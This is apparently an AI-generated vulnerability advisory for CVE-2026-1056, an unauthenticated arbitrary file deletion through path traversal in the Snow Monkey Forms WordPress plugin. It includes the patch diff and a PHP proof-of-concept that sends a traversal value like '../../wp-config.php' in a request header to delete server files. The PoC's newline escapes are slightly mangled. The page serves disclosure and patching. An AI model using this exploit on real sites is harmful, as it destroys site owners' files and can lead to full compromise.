Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1056: Snow Monkey Forms <= 12.0.3 – Unauthenticated Arbitrary File Deletion via Path Traversal (snow-monkey-forms)

CVE ID CVE-2026-1056
Severity Critical (CVSS 9.8)
CWE 22
Vulnerable Version 12.0.3
Patched Version 12.0.4
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1056:
The Snow Monkey Forms WordPress plugin, versions up to and including 12.0.3, contains an unauthenticated arbitrary file deletion vulnerability. The flaw resides in the `generate_user_dirpath` function within the `Directory` class, which fails to properly validate the `form_id` parameter. Attackers can exploit this via path traversal to delete any file on the server, including critical WordPress files like wp-config.php. The CVSS score of 9.8 reflects the high severity and ease of exploitation.

The root cause is insufficient validation of the `form_id` parameter in the `generate_user_dirpath` function (snow-monkey-forms/App/Model/Directory.php). The function accepted a user-controlled `form_id` without sanitization and used it to construct a directory path. The `saved_token` value from the CSRF class was validated with a regex pattern (`/^[a-z0-9]+$/`), but the `form_id` parameter was not validated before being passed to `path_join`. This allowed an attacker to supply a `form_id` containing directory traversal sequences (e.g., `../../../wp-config.php`). The constructed path would then point outside the intended upload directory.

Exploitation occurs via the plugin’s REST API endpoint `/wp-json/snow-monkey-forms/v1/view`. The attacker sends a POST request with a malicious `form_id` in the `X-SMF-FORMID` HTTP header or within the `meta` POST parameter. The `View` route handler calls `Directory::generate_user_dirpath` with this unsanitized `form_id`. Subsequently, the `Directory::do_empty` or `Directory::remove` functions delete the constructed path. No authentication or CSRF token is required in vulnerable versions, enabling complete unauthenticated access.

The patch introduces multiple validation layers. A new `Helper::sanitize_form_id` function validates that the `form_id` is a non-zero positive integer. The `generate_user_dirpath` function now calls this sanitizer (line 57-60 in Directory.php). A new `_is_within_expected_dir` function performs path traversal checks using `realpath` and `wp_normalize_path` before any file operation. It ensures the resolved path is within the expected user directory structure. The REST route handler (View.php) now validates the CSRF token before proceeding with file deletion. The main plugin file also sanitizes the `form_id` from the HTTP header and POST data.

Successful exploitation allows complete server compromise. Attackers can delete any file accessible to the web server user. Deleting wp-config.php disrupts the WordPress site, potentially exposing database credentials. Deleting .htaccess files can disable security restrictions. Deleting plugin or theme files can cause denial of service. In combination with other weaknesses, arbitrary file deletion can lead to remote code execution, for example by deleting a file that triggers an application reinstall or by manipulating file permissions.

Differential between vulnerable and patched code

Code Diff
--- a/snow-monkey-forms/App/Helper.php
+++ b/snow-monkey-forms/App/Helper.php
@@ -128,4 +128,61 @@
 			array()
 		);
 	}
+
+	/**
+	 * Return true when form ID format is valid.
+	 *
+	 * @param mixed $form_id Form ID.
+	 * @return boolean
+	 */
+	protected static function _is_valid_form_id_format( $form_id ) {
+		if ( ! is_scalar( $form_id ) ) {
+			return false;
+		}
+
+		$form_id = (string) $form_id;
+		if ( '' === $form_id || ! preg_match( '/^[0-9]+$/', $form_id ) ) {
+			return false;
+		}
+
+		$form_id = absint( $form_id );
+		if ( 0 === $form_id ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Validate and sanitize form ID.
+	 *
+	 * @param mixed $form_id Form ID.
+	 * @return int|false
+	 */
+	public static function sanitize_form_id( $form_id ) {
+		if ( false === static::_is_valid_form_id_format( $form_id ) ) {
+			return false;
+		}
+
+		return absint( $form_id );
+	}
+
+	/**
+	 * Return true when token format is valid.
+	 *
+	 * @param mixed $token Token value.
+	 * @return boolean
+	 */
+	public static function is_valid_token_format( $token ) {
+		if ( ! is_scalar( $token ) ) {
+			return false;
+		}
+
+		$token = (string) $token;
+		if ( '' === $token ) {
+			return false;
+		}
+
+		return (bool) preg_match( '|^[a-z0-9]+$|', $token );
+	}
 }
--- a/snow-monkey-forms/App/Model/Csrf.php
+++ b/snow-monkey-forms/App/Model/Csrf.php
@@ -7,6 +7,8 @@

 namespace Snow_MonkeyPluginFormsAppModel;

+use Snow_MonkeyPluginFormsAppHelper;
+
 class Csrf {

 	const KEY = '_snow-monkey-forms-token';
@@ -27,7 +29,7 @@
 			return false;
 		}

-		if ( ! preg_match( '|^[a-z0-9]+$|', $posted_token ) ) {
+		if ( ! Helper::is_valid_token_format( $posted_token ) ) {
 			return false;
 		}

--- a/snow-monkey-forms/App/Model/Directory.php
+++ b/snow-monkey-forms/App/Model/Directory.php
@@ -11,6 +11,7 @@
 use FilesystemIterator;
 use Snow_MonkeyPluginFormsAppModelCsrf;
 use Snow_MonkeyPluginFormsAppModelMeta;
+use Snow_MonkeyPluginFormsAppHelper;

 class Directory {

@@ -45,7 +46,7 @@
 	public static function generate_user_dirpath( $form_id, $do_create_directory = true ) {
 		$saved_token = Csrf::saved_token();

-		if ( ! preg_match( '|^[a-z0-9]+$|', $saved_token ) ) {
+		if ( ! Helper::is_valid_token_format( $saved_token ) ) {
 			throw new RuntimeException(
 				sprintf(
 					'[Snow Monkey Forms] Failed to generate user directory path. The directory name is "%1$s"',
@@ -54,6 +55,11 @@
 			);
 		}

+		$form_id = Helper::sanitize_form_id( $form_id );
+		if ( false === $form_id ) {
+			throw new RuntimeException( '[Snow Monkey Forms] Invalid form ID.' );
+		}
+
 		$user_dir = path_join( static::get(), $saved_token );
 		$user_dir = path_join( $user_dir, (string) $form_id );

@@ -111,11 +117,16 @@
 			return false;
 		}

+		if ( ! static::_is_within_expected_dir( $dir ) ) {
+			return false;
+		}
+
 		return static::_remove_children( $dir, $force );
 	}

 	/**
 	 * Remove child directories and files.
+	 * Callers should ensure the path is within the upload base directory.
 	 *
 	 * @param string  $dir   Target directory.
 	 * @param boolean $force Ignore the survival period.
@@ -207,6 +218,10 @@
 	 * @throws RuntimeException If the deletion of a file fails.
 	 */
 	public static function remove( $file ) {
+		if ( ! static::_is_within_expected_dir( $file ) ) {
+			return false;
+		}
+
 		$fileinfo = new SplFileInfo( $file );

 		if ( $fileinfo->isFile() && is_writable( $file ) ) {
@@ -245,6 +260,45 @@
 	}

 	/**
+	 * Return true when path is inside upload base directory.
+	 *
+	 * @param string $path Target path.
+	 * @return boolean
+	 */
+	protected static function _is_within_expected_dir( $path ) {
+		$base_dir = realpath( static::get() );
+		$realpath = realpath( $path );
+
+		if ( false === $base_dir || false === $realpath ) {
+			return false;
+		}
+
+		$token = Csrf::saved_token();
+		if ( ! Helper::is_valid_token_format( $token ) ) {
+			return false;
+		}
+
+		$form_id = Helper::sanitize_form_id( Meta::get_formid() );
+		if ( false === $form_id ) {
+			return false;
+		}
+
+		$base_dir = wp_normalize_path( $base_dir );
+		$realpath = wp_normalize_path( $realpath );
+
+		$user_dir       = wp_normalize_path(
+			path_join(
+				path_join( $base_dir, $token ),
+				(string) $form_id
+			)
+		);
+		$user_dir       = untrailingslashit( $user_dir );
+		$user_dir_slash = trailingslashit( $user_dir );
+
+		return $realpath === $user_dir || 0 === strpos( $realpath, $user_dir_slash );
+	}
+
+	/**
 	 * Create .htaccess.
 	 *
 	 * @param string $save_dir The directory where .htaccess is created.
--- a/snow-monkey-forms/App/Rest/Route/View.php
+++ b/snow-monkey-forms/App/Rest/Route/View.php
@@ -187,6 +187,12 @@
 		}

 		if ( 'input' === $method || 'complete' === $method || 'systemerror' === $method ) {
+			// If the token cannot be verified,
+			// the file deletion process will not be performed.
+			if ( ! Csrf::validate( Meta::get_token() ) ) {
+				return $controller->send();
+			}
+
 			$user_dirpath = Directory::generate_user_dirpath( $this->setting->get( 'form_id' ), false );

 			Directory::do_empty( $user_dirpath, true );
--- a/snow-monkey-forms/snow-monkey-forms.php
+++ b/snow-monkey-forms/snow-monkey-forms.php
@@ -1,7 +1,7 @@
 <?php
 /**
  * Plugin name: Snow Monkey Forms
- * Version: 12.0.3
+ * Version: 12.0.4
  * Description: The Snow Monkey Forms is a mail form plugin for the block editor.
  * Author: inc2734
  * Author URI: https://2inc.org
@@ -20,6 +20,7 @@
 use Snow_MonkeyPluginFormsAppModelCsrf;
 use Snow_MonkeyPluginFormsAppModelDirectory;
 use Snow_MonkeyPluginFormsAppModelMeta;
+use Snow_MonkeyPluginFormsAppHelper;
 use Snow_MonkeyPluginFormsAppRest;
 use Snow_MonkeyPluginFormsAppServiceAdminAdmin;
 use Snow_MonkeyPluginFormsAppServiceReCaptchaReCaptcha;
@@ -183,10 +184,13 @@
 					}

 					// phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-					$form_id = isset( $_SERVER['HTTP_X_SMF_FORMID'] ) ? wp_unslash( $_SERVER['HTTP_X_SMF_FORMID'] ) : false;
+					$form_id = isset( $_SERVER['HTTP_X_SMF_FORMID'] )
+						? wp_unslash( $_SERVER['HTTP_X_SMF_FORMID'] )
+						: '';
 					// phpcs:enable

-					if ( ! $form_id ) {
+					$form_id = Helper::sanitize_form_id( $form_id );
+					if ( false === $form_id ) {
 						return new WP_REST_Response( 'Bad request.', 400 );
 					}

@@ -220,6 +224,16 @@
 					$data = $data ? $data : array();

 					if ( isset( $data[ Meta::get_key() ] ) ) {
+						$raw_form_id = isset( $data[ Meta::get_key() ]['formid'] )
+							? $data[ Meta::get_key() ]['formid']
+							: '';
+
+						$raw_form_id = Helper::sanitize_form_id( $raw_form_id );
+						if ( false === $raw_form_id ) {
+							return new WP_REST_Response( 'Bad request.', 400 );
+						}
+
+						$data[ Meta::get_key() ]['formid'] = $raw_form_id;
 						$data[ Meta::get_key() ]['sender'] = wp_get_current_user();
 					}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1056 - Snow Monkey Forms <= 12.0.3 - Unauthenticated Arbitrary File Deletion via Path Traversal

<?php

$target_url = 'http://vulnerable-site.com/wp-json/snow-monkey-forms/v1/view';

// The file to delete relative to the WordPress root directory.
// Example: '../../wp-config.php' targets the WordPress configuration file.
$file_to_delete = '../../wp-config.php';

// Craft the malicious form_id with path traversal.
// The plugin constructs a path like: uploads_base_dir/{token}/{form_id}
// By providing a form_id with '../' sequences, we escape the intended directory.
$malicious_form_id = $file_to_delete;

// Prepare the POST request.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// The vulnerable endpoint accepts the form_id via the X-SMF-FORMID header.
$headers = [
    'X-SMF-FORMID: ' . $malicious_form_id,
    'Content-Type: application/json'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// The request body must contain a valid 'method' parameter.
// The plugin processes deletion when method is 'input', 'complete', or 'systemerror'.
$post_data = json_encode(['method' => 'input']);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);

// Execute the attack.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check the response.
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
if ($http_code == 200) {
    echo "[+] File deletion likely attempted. Verify if $file_to_delete was removed.n";
} else {
    echo "[-] Attack may have failed or site is patched.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School